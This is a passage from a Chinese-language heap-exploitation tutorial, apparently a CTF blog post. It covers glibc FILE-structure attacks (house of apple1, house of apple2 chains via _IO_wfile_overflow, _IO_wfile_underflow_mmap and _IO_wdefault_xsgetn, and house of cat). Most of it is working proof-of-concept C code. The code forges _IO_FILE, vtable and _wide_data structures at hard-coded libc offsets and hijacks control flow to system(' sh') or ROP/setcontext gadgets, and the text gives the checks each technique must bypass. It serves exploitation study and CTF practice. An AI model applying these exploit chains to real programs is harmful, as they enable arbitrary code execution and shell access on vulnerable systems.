space[0x140 / 8] = poprdx_rbx_ret;
space[0x148 / 8] = 0x40;
space[0x150 / 8] = 0;
space[0x158 / 8] = readfunc_addr;
space[0x160 / 8] = poprdi_ret;
space[0x168 / 8] = 1;
space[0x170 / 8] = poprsi_ret;
space[0x178 / 8] = (size_t)(&space[0xf0]);
space[0x180 / 8] = poprdx_rbx_ret;
space[0x188 / 8] = 0x40;
space[0x190 / 8] = 0;
space[0x198 / 8] = writefunc_addr;

puts("\033[32mHere is the former part of bss spare space:\033[0m");
puts("\033[32m下面是bss空闲区域前面的一部分:\033[0m");
for(int i=0; i<0x20; i++)
printf("\033[1;34m+%#5x\t\t%#18zx\t\t%#18zx\n\033[0m", i * 0x10, space[2*i], space[2*i+1]);

}else{
puts("\033[31mError: invalid exploit mode!\033[0m");
puts("\033[31m错误:选择了无效的利用模式!\033[0m");
exit(1);
}

puts("\033[032mThen, we need to \033[31mchange the size of top chunk to make it unaligned, and malloc a big space.\033[0m");
puts("\033[032m然后,我们需要\033[31m修改top chunk的大小来让它不对齐,然后malloc一块大空间。\033[0m");
*top_chunk_size = 0x101;
printf("\033[32mThe value of top_chunk->size was changed into: %#zx\033[0m\n", *top_chunk_size);
printf("\033[32m现在top_chunk->size的值被修改为: %#zx\033[0m\n", *top_chunk_size);

puts("\033[32mThen, change the value of stderr pointer.\033[0m");
puts("\033[32m然后,修改stderr指针的值。\033[0m");
printf("\033[32mBefore alteration: *stderr_pointer = \033[33m%p\n\033[0m", *((struct _IO_FILE**)(stderr_ptr)));
printf("\033[32m修改之前: *stderr_pointer = \033[33m%p\n\033[0m", *((struct _IO_FILE**)(stderr_ptr)));
*(size_t*)stderr_ptr = (size_t)fake_file_struct;
printf("\033[32mAfter alteration: *stderr_pointer = \033[31m%p\n\033[0m", *((struct _IO_FILE**)(stderr_ptr)));
printf("\033[32m修改之后: *stderr_pointer = \033[31m%p\n\033[0m", *((struct _IO_FILE**)(stderr_ptr)));

printf("\033[32mAnd the last step: malloc(0x200) to trigger sysmalloc.\n\033[0m");
printf("\033[32m然后是最后一步:malloc(0x200)触发sysmalloc。\n\033[0m");
malloc(0x200);
}

house of apple1

前置条件

  • glibc >= 2.23
  • 程序从 main 函数返回或能调用 exit 函数。
  • 能泄露出 heap 地址和 libc 地址。
  • 能使用一次 largebin attack

原理

当程序从main函数返回或者执行exit函数的时候,均会调用fcloseall函数。

该调用链为:exit -> fcloseall->_IO_cleanup ->_IO_flush_all_lockp ->_IO_OVERFLOW

最后会遍历_IO_list_all存放的每一个IO_FILE结构体,如果满足 FSOP 条件的话,会调用每个结构体中vtable->_overflow函数指针指向的函数。使用 largebin attack 可以劫持 _IO_list_all 变量,将其替换为伪造的IO_FILE结构体。

apple1 主要利用了 IO_FILE 中的 _wide_data 指针成员,其指向结构体 _IO_wide_data

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/* Extra data for wide character streams.  */
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */

__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;

wchar_t _shortbuf[1];

const struct _IO_jump_t *_wide_vtable;
};

_IO_wstrn_overflow 函数中会在 _wide_data 指向的内存中写入连续 8 个 snf->overflow_buf 开始或结束位置的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
void
_IO_wsetb (FILE *f, wchar_t *b, wchar_t *eb, int a)
{
/*绕过点 2 */
if (f->_wide_data->_IO_buf_base && !(f->_flags2 & _IO_FLAGS2_USER_WBUF))
free (f->_wide_data->_IO_buf_base);
f->_wide_data->_IO_buf_base = b;
f->_wide_data->_IO_buf_end = eb;
if (a)
f->_flags2 &= ~_IO_FLAGS2_USER_WBUF;
else
f->_flags2 |= _IO_FLAGS2_USER_WBUF;
}

static wint_t
_IO_wstrn_overflow (FILE *fp, wint_t c)
{
/* When we come to here this means the user supplied buffer is
filled. But since we must return the number of characters which
would have been written in total we must provide a buffer for
further use. We can do this by writing on and on in the overflow
buffer in the _IO_wstrnfile structure. */
_IO_wstrnfile *snf = (_IO_wstrnfile *) fp;
/*绕过点 1 */
if (fp->_wide_data->_IO_buf_base != snf->overflow_buf)
{
_IO_wsetb (fp, snf->overflow_buf,
snf->overflow_buf + (sizeof (snf->overflow_buf)
/ sizeof (wchar_t)), 0);

fp->_wide_data->_IO_write_base = snf->overflow_buf;
fp->_wide_data->_IO_read_base = snf->overflow_buf;
fp->_wide_data->_IO_read_ptr = snf->overflow_buf;
fp->_wide_data->_IO_read_end = (snf->overflow_buf
+ (sizeof (snf->overflow_buf)
/ sizeof (wchar_t)));
}

fp->_wide_data->_IO_write_ptr = snf->overflow_buf;
fp->_wide_data->_IO_write_end = snf->overflow_buf;

/* Since we are not really interested in storing the characters
which do not fit in the buffer we simply ignore it. */
return c;
}

其中 _IO_wstrnfile定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
struct _IO_streambuf
{
FILE _f;
const struct _IO_jump_t *vtable;
};

struct _IO_str_fields
{
/* These members are preserved for ABI compatibility. The glibc
implementation always calls malloc/free for user buffers if
_IO_USER_BUF or _IO_FLAGS2_USER_WBUF are not set. */
_IO_alloc_type _allocate_buffer_unused;
_IO_free_type _free_buffer_unused;
};

typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;

typedef struct
{
_IO_strfile f;
/* This is used for the characters which do not fit in the buffer
provided by the user. */
wchar_t overflow_buf[64];
} _IO_wstrnfile;

因此控制了 _wide_data 指针就能完成任意地址写。

需要绕过的点

  • 为了能够进入 _IO_wstrn_overflow 函数的 if 判断中,需要满足 fp->_wide_data->_IO_buf_base != snf->overflow_buf
  • 为了避免执行 free (f->_wide_data->_IO_buf_base); 需要满足 f->_wide_data->_IO_buf_base 为空或者 f->_flags2 & _IO_FLAGS2_USER_WBUF 不为 0 ,其中 _IO_FLAGS2_USER_WBUF8
  • 另外如果利用 FSOP 触发需要满足:
    • fp->_mode <= 0
    • fp->_IO_write_ptr > fp->_IO_write_base

POC

自行修改偏移。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
// 编译环境 libc6_2.35-0ubuntu3.1_amd64.so
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>

void main()
{
setbuf(stdout, 0);
setbuf(stdin, 0);
setvbuf(stderr, 0, 2, 0);
puts("[*] allocate a 0x100 chunk");
size_t *p1 = malloc(0xf0);
size_t *tmp = p1;
size_t old_value = 0x1122334455667788;
for (size_t i = 0; i < 0x100 / 8; i++)
{
p1[i] = old_value;
}
puts("===========================old value=======================");
for (size_t i = 0; i < 4; i++)
{
printf("[%p]: 0x%016lx 0x%016lx\n", tmp, tmp[0], tmp[1]);
tmp += 2;
}
puts("===========================old value=======================");

size_t puts_addr = (size_t)&puts;
size_t libc_base = puts_addr - 0x80ed0;
printf("[*] libc_base address: %p\n", (void *)libc_base);
size_t stderr_write_ptr_addr = libc_base + 0x21A6A0 + 0x28;
printf("[*] stderr->_IO_write_ptr address: %p\n", (void *)stderr_write_ptr_addr);
size_t stderr_flags2_addr = libc_base + 0x21A6A0 + 0x74;
printf("[*] stderr->_flags2 address: %p\n", (void *)stderr_flags2_addr);
size_t stderr_wide_data_addr = libc_base + 0x21A6A0 + 0xa0;
printf("[*] stderr->_wide_data address: %p\n", (void *)stderr_wide_data_addr);
size_t sdterr_vtable_addr = libc_base + 0x21A6A0 + 0xd8;
printf("[*] stderr->vtable address: %p\n", (void *)sdterr_vtable_addr);
size_t _IO_wstrn_jumps_addr = libc_base + 0x215A00 + 0x3c0;
printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);

puts("[+] step 1: change stderr->_IO_write_ptr to -1");
*(size_t *)stderr_write_ptr_addr = (size_t)-1;

puts("[+] step 2: change stderr->_flags2 to 8");
*(size_t *)stderr_flags2_addr = 8;

puts("[+] step 3: replace stderr->_wide_data with the allocated chunk");
*(size_t *)stderr_wide_data_addr = (size_t)p1;

puts("[+] step 4: replace stderr->vtable with _IO_wstrn_jumps");
*(size_t *)sdterr_vtable_addr = (size_t)_IO_wstrn_jumps_addr;

puts("[+] step 5: call fcloseall and trigger house of apple");
fcloseall();
tmp = p1;
puts("===========================new value=======================");
for (size_t i = 0; i < 4; i++)
{
printf("[%p]: 0x%016lx 0x%016lx\n", tmp, tmp[0], tmp[1]);
tmp += 2;
}
puts("===========================new value=======================");
}

image-20231210140206622

house of apple2

这里把roderick师傅写的几个利用方式都写了一个 POC

前置条件

  • 已知heap地址和glibc地址
  • 能控制程序执行IO操作,包括但不限于:从main函数返回、调用exit函数、通过__malloc_assert触发
  • 能控制_IO_FILEvtable_wide_data,一般使用largebin attack去控制

原理

struct _IO_wide_data结构体有一个 const struct _IO_jump_t *_wide_vtable成员。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */

__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable; // 偏移0xe0
};

而我们的_IO_WOVERFLOW 没有 IO_validate_vtable 检查。

1
2
3
4
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
#define _IO_WIDE_JUMPS(THIS) _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

因此,我们可以劫持 IO_FILE_plusvtable_IO_wfile_jumps,控制_wide_data为可控的堆地址空间,进而控制_wide_data->_wide_vtable为可控的堆地址空间。控制程序执行IO流函数调用,最终调用到_IO_Wxxxxx函数即可控制程序的执行流。

利用_IO_wfile_overflow函数控制程序执行流

相关配置

_IO_FILE_plus的设置如下:

  • _flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为sh;,注意前面有两个空格
  • vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址(加减偏移),使其能成功调用_IO_wfile_overflow即可
  • _wide_data 设置为可控堆地址 A,即满足 *(fp + 0xa0) = A
  • _wide_data->_IO_write_base设置为0,即满足 *(A + 0x18) = 0
  • _wide_data->_IO_buf_base设置为0,即满足 *(A + 0x30) = 0
  • _wide_data->_wide_vtable设置为可控堆地址B,即满足 *(A + 0xe0) = B
  • _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C

函数调用链

_IO_wfile_overflow-> _IO_wdoallocbuf-> _IO_WDOALLOCATE-> *(fp->_wide_data->_wide_vtable + 0x68)(fp)

详解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#define _IO_CURRENTLY_PUTTING 0x0800
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
{
/* Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == 0)
{
/* 这里调用了 _IO_wdoallocbuf () 函数 */
_IO_wdoallocbuf (f);
_IO_free_wbackup_area (f);
_IO_wsetg (f, f->_wide_data->_IO_buf_base,
f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);
[...]
}
[...]
}
[...]
}
1
2
3
4
5
6
7
8
9
10
11
12
13
#define _IO_UNBUFFERED        0x0002
void
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
/*满足条件则会调用 _IO_WDOALLOCATE*/
if ((wint_t)_IO_WDOALLOCATE(fp) != WEOF)
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf, fp->_wide_data->_shortbuf + 1, 0);
}
#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)

这里会去调用 FP->doallocate,也就是我们 struct _IO_jump_t 偏移 0x68 的位置,我们可以将其截获为 one_gadget

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>

char* binsh = " sh";

int main()
{
size_t puts_addr = (size_t)&puts;
size_t libc_base = puts_addr - 0x80ed0;
struct _IO_FILE* fake_FILE = (struct _IO_FILE*) malloc(0x400);
size_t* fake_vtable = (size_t*) malloc(0x100);
struct _IO_wide_data* fake_wide_data = (struct _IO_wide_data*)malloc(0x100);
size_t* _IO_list_all = (size_t*)(libc_base + 0x21A680);

fake_FILE->_mode = 0;
fake_FILE->_IO_write_ptr = (char*)1;
fake_FILE->_IO_write_base = (char*)0;
((size_t*)fake_FILE)[0xD8 / 8] = libc_base + 0x2160C0; // vtable, 0x215F40, 0x216000
fake_FILE->_wide_data = fake_wide_data;
((size_t*)fake_FILE->_wide_data)[0xE0 / 8] = (size_t)fake_vtable; // _wide_data->_wide_vtable
((size_t*)fake_FILE->_wide_data)[0x18 / 8] = 0;
fake_vtable[0x68 / 8] = (size_t)system; // _IO_WDOALLOCATE调用的函数指针,偏移量可通过查看汇编获取
strcpy((char*)fake_FILE, binsh);
*(_IO_list_all) = (size_t)fake_FILE;
exit(0);
}

利用_IO_wfile_underflow_mmap函数控制程序执行流

相关配置

_IO_FILE_plus的设置如下:

  • _flags设置为~4,如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为sh;,注意前面有个空格
  • vtable设置为_IO_wfile_jumps_mmap地址(加减偏移),使其能成功调用_IO_wfile_underflow_mmap即可
  • _IO_read_ptr < _IO_read_end,即满足*(fp + 8) < *(fp + 0x10)
  • _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end,即满足*A >= *(A + 8)
  • _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
  • _wide_data->_IO_save_base设置为0或者合法的可被free的地址,即满足*(A + 0x40) = 0
  • _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
  • _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C

函数调用链

_IO_wfile_underflow_mmap-> _IO_wdoallocbuf->_IO_WDOALLOCATE->*(fp->_wide_data->_wide_vtable + 0x68)(fp)

详解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
/* 这里有一个 bug? 直接搜和点击 _IO_wfile_underflow_mmap 都无法搜索到相关内容 */
static wint_t
_IO_wfile_underflow_mmap (FILE *fp)
{
struct _IO_codecvt *cd;
const char *read_stop;
/* 需要绕过的点 if_1 */
if (__glibc_unlikely (fp->_flags & _IO_NO_READS))
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}

if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
return *fp->_wide_data->_IO_read_ptr;

cd = fp->_codecvt;

/* 需要绕过的点 if_2 */
/* Maybe there is something left in the external buffer. */
if (fp->_IO_read_ptr >= fp->_IO_read_end
/* No. But maybe the read buffer is not fully set up. */
&& _IO_file_underflow_mmap (fp) == EOF)
/* Nothing available. _IO_file_underflow_mmap has set the EOF or error
flags as appropriate. */
return WEOF;

/* There is more in the external. Convert it. */
read_stop = (const char *) fp->_IO_read_ptr;
/* 需要绕过的点 if_3 */
if (fp->_wide_data->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_wide_data->_IO_save_base != NULL)
{
free (fp->_wide_data->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
/* 需要调用到这里 */
_IO_wdoallocbuf (fp);
}
[...]
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#define _IO_UNBUFFERED        0x0002
void
_IO_wdoallocbuf (FILE *fp)
{
/* 需要绕过的点 if_4 */
if (fp->_wide_data->_IO_buf_base)
return;
/* 需要绕过的点 if_5 */
if (!(fp->_flags & _IO_UNBUFFERED))
/*满足条件则会调用 _IO_WDOALLOCATE*/
if ((wint_t)_IO_WDOALLOCATE(fp) != WEOF)
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf, fp->_wide_data->_shortbuf + 1, 0);
}
#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>

char* binsh = " sh";

int main()
{
size_t puts_addr = (size_t)&puts;
size_t libc_base = puts_addr - 0x80ed0;
struct _IO_FILE* fake_FILE = (struct _IO_FILE*) malloc(0x400);
size_t* fake_vtable = (size_t*) malloc(0x100);
struct _IO_wide_data* fake_wide_data = (struct _IO_wide_data*)malloc(0x100);
size_t* _IO_list_all = (size_t*)(libc_base + 0x21A680);

// FSOP
fake_FILE->_mode = 0;
fake_FILE->_IO_write_ptr = (char*)1;
fake_FILE->_IO_write_base = (char*)0;

fake_FILE->_IO_read_ptr = (char*)0;
fake_FILE->_IO_read_end = (char*)1;

((size_t*)fake_FILE)[0xD8 / 8] = libc_base + 0x216000; // vtable
fake_FILE->_wide_data = fake_wide_data;
((size_t*)fake_FILE->_wide_data)[0xE0 / 8] = (size_t)fake_vtable; // _wide_data->_wide_vtable
fake_vtable[0x68 / 8] = (size_t)system; // _IO_WDOALLOCATE调用的函数指针,偏移量可通过查看汇编获取
strcpy((char*)fake_FILE, binsh);
*(_IO_list_all) = (size_t)fake_FILE;
exit(0);
}

利用_IO_wdefault_xsgetn函数控制程序执行流

这条链执行的条件是调用到_IO_wdefault_xsgetn时rdx寄存器,也就是第三个参数不为0。如果不满足这个条件,可选用其他链。

相关配置

_IO_FILE_plus的设置如下:

  • _flags设置为0x800
  • vtable设置为_IO_wstrn_jumps/_IO_wmem_jumps/_IO_wstr_jumps地址(加减偏移),使其能成功调用_IO_wdefault_xsgetn即可。
  • _mode设置为大于0,即满足*(fp + 0xc0) > 0
  • _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_read_end == _wide_data->_IO_read_ptr设置为0,即满足*(A + 8) = *A
  • _wide_data->_IO_write_ptr > _wide_data->_IO_write_base,即满足*(A + 0x20) > *(A + 0x18)
  • _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
  • _wide_data->_wide_vtable->overflow设置为地址C用于劫持RIP,即满足*(B + 0x18) = C

函数调用链

_IO_wdefault_xsgetn->__wunderflow->_IO_switch_to_wget_mode->_IO_WOVERFLOW->*(fp->_wide_data->_wide_vtable + 0x18)(fp)

详解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
size_t
_IO_wdefault_xsgetn (FILE *fp, void *data, size_t n)
{
/* more 为第三个参数,即 rdx。*/
size_t more = n;
wchar_t *s = (wchar_t*) data;
for (;;)
{
/* Data available. */
ssize_t count = (fp->_wide_data->_IO_read_end
- fp->_wide_data->_IO_read_ptr);
if (count > 0)
{
if ((size_t) count > more)
count = more;
if (count > 20)
{
s = __wmempcpy (s, fp->_wide_data->_IO_read_ptr, count);
fp->_wide_data->_IO_read_ptr += count;
}
else if (count <= 0)
count = 0;
else
{
wchar_t *p = fp->_wide_data->_IO_read_ptr;
int i = (int) count;
while (--i >= 0)
*s++ = *p++;
fp->_wide_data->_IO_read_ptr = p;
}
more -= count;
}
/* 首先判断第三个参数 rdx 是否为 0,我们需要他进行第二个判断 */
if (more == 0 || __wunderflow (fp) == WEOF)
break;
}
return n - more;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
wint_t
__wunderflow (FILE *fp)
{
/* _mode > 0 */
if (fp->_mode < 0 || (fp->_mode == 0 && _IO_fwide (fp, 1) != 1))
return WEOF;
if (fp->_mode == 0)
_IO_fwide (fp, 1);
if (_IO_in_put_mode (fp))
if (_IO_switch_to_wget_mode (fp) == EOF) // 调用这里
return WEOF;
if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
return *fp->_wide_data->_IO_read_ptr;
if (_IO_in_backup (fp))
{
_IO_switch_to_main_wget_area (fp);
if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
return *fp->_wide_data->_IO_read_ptr;
}
if (_IO_have_markers (fp))
{
if (save_for_wbackup (fp, fp->_wide_data->_IO_read_end))
return WEOF;
}
else if (_IO_have_backup (fp))
_IO_free_wbackup_area (fp);
return _IO_UNDERFLOW (fp);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int
_IO_switch_to_wget_mode (FILE *fp)
{
/* 需要 _wide_data->_IO_write_ptr > _wide_data->_IO_write_base */
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF) // 调用 _IO_WOVERFLOW
return EOF;
if (_IO_in_backup (fp))
fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_backup_base;
else
{
fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_buf_base;
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_read_end)
fp->_wide_data->_IO_read_end = fp->_wide_data->_IO_write_ptr;
}
fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_write_ptr;

fp->_wide_data->_IO_write_base = fp->_wide_data->_IO_write_ptr
= fp->_wide_data->_IO_write_end = fp->_wide_data->_IO_read_ptr;

fp->_flags &= ~_IO_CURRENTLY_PUTTING;
return 0;
}

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>

char* binsh = "sh";

int main()
{
size_t puts_addr = (size_t)&puts;
size_t libc_base = puts_addr - 0x80ed0;
struct _IO_FILE* fake_FILE = (struct _IO_FILE*) malloc(0x400);
size_t* fake_vtable = (size_t*) malloc(0x100);
struct _IO_wide_data* fake_wide_data = (struct _IO_wide_data*)malloc(0x100);
size_t* _IO_list_all = (size_t*)(libc_base + 0x21A680);

fake_FILE->_mode = 1;
fake_FILE->_wide_data = fake_wide_data;
((size_t*)fake_FILE)[0xD8 / 8] = libc_base + 0x215A00 + 0x3C0 + 0x40 - 0x18; // _IO_wstrn_jumps
((size_t*)fake_FILE->_wide_data)[0xE0 / 8] = (size_t)fake_vtable; // _wide_data->_wide_vtable
((size_t*)fake_FILE->_wide_data)[0x20 / 8] = 1; // _wide_data->_IO_write_ptr, o+0x20
fake_vtable[0x18 / 8] = (size_t)system; // _IO_WOVERFLOW调用的函数指针
strcpy((char*)fake_FILE, binsh); // sh => 0x6873, 0x6873 & 0x800 != 0

*(_IO_list_all) = (size_t)fake_FILE;
exit(0);
}

house of cat

house of apple2 的一条路线之一。

利用_IO_wfile_seekoff函数控制程序执行流

相关配置

_IO_FILE_plus 的设置如下:

  • _flags 设置为 ~0x8,如果不能保证 _lock 指向可读写内存则 _flags |= 0x8000
  • vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址(加减偏移),使其能成功调用_IO_wfile_seekoff即可
  • _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_write_ptr > _wide_data->_IO_write_base ,即满足*A > *(A + 8)
  • _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
  • _wide_data->_wide_vtable->overflow设置为地址C用于劫持RIP,即满足*(B + 0x18) = C

函数调用链

_IO_wfile_seekoff->_IO_switch_to_wget_mode->_IO_WOVERFLOW->*(fp->_wide_data->_wide_vtable + 0x18)(fp)

详解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
off64_t result;
off64_t delta, new_offset;
long int count;

/* Short-circuit into a separate function. We don't want to mix any
functionality and we don't want to touch anything inside the FILE
object. */
if (mode == 0)
return do_ftell_wide (fp);

/* POSIX.1 8.2.3.7 says that after a call the fflush() the file
offset of the underlying file must be exact. */
int must_be_exact = ((fp->_wide_data->_IO_read_base
== fp->_wide_data->_IO_read_end)
&& (fp->_wide_data->_IO_write_base
== fp->_wide_data->_IO_write_ptr));

bool was_writing = ((fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base)
|| _IO_in_put_mode (fp));

if (was_writing && _IO_switch_to_wget_mode (fp))
return WEOF;
[...]
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int
_IO_switch_to_wget_mode (FILE *fp)
{
/* 需要 _wide_data->_IO_write_ptr > _wide_data->_IO_write_base */
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF) // 调用 _IO_WOVERFLOW
return EOF;
if (_IO_in_backup (fp))
fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_backup_base;
else
{
fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_buf_base;
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_read_end)
fp->_wide_data->_IO_read_end = fp->_wide_data->_IO_write_ptr;
}
fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_write_ptr;

fp->_wide_data->_IO_write_base = fp->_wide_data->_IO_write_ptr
= fp->_wide_data->_IO_write_end = fp->_wide_data->_IO_read_ptr;

fp->_flags &= ~_IO_CURRENTLY_PUTTING;
return 0;
}

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include<stdio.h>
#include<stdlib.h>
#include <string.h>
#include <ucontext.h>

int main() {
//leak libc_base
size_t puts_addr = (size_t) &puts;
size_t libc_base = puts_addr - 0x702e0;

// large bin attack: stderr -> large
size_t stderr_addr = libc_base + 0x3b87a0;
size_t *large = malloc(0x420);
char *buf = malloc(0x18);
strcpy(buf, "./flag");
size_t *unsorted = malloc(0x410);
free(large);
size_t *payload = malloc(0x500);
free(unsorted);
large[3] = stderr_addr - 0x20;
malloc(0x20);

size_t IO_wfile_jumps_addr = libc_base + 0x3b3f40;
// mov rdx, [rdi+0x8]; mov [rsp], rax; call qword ptr [rdx+0x20]
size_t magic_gadget = libc_base + 0x121a90;
size_t pop_rax_ret = libc_base + 0x3aaa8;
size_t pop_rdi_ret = libc_base + 0x23256;
size_t pop_rsi_ret = libc_base + 0x2d89f;
size_t syscall_ret = libc_base + 0x3ac69;
size_t ret = pop_rax_ret + 1;

// fake file
large[-2] &= ~0x8; // _flags &= ~0x8
large[-1] = (size_t) payload;
large[25] = IO_wfile_jumps_addr + 0x10; // vtable -> _IO_wfile_jumps + 0x10
large[15] = (size_t) unsorted; // _lock -> rw memory
large[18] = (size_t) unsorted;// _wide_data

// fake _wide_data
unsorted[4] = (size_t) (-1); //_IO_write_ptr
unsorted[28] = (size_t) unsorted; //_wide_vtable
unsorted[3] = (size_t) magic_gadget;

// SigreturnFrame
payload[4] = (size_t) setcontext + 53;
payload[13] = (size_t) buf; // rdi -> "./flag"
payload[14] = 0; // rsi = 0
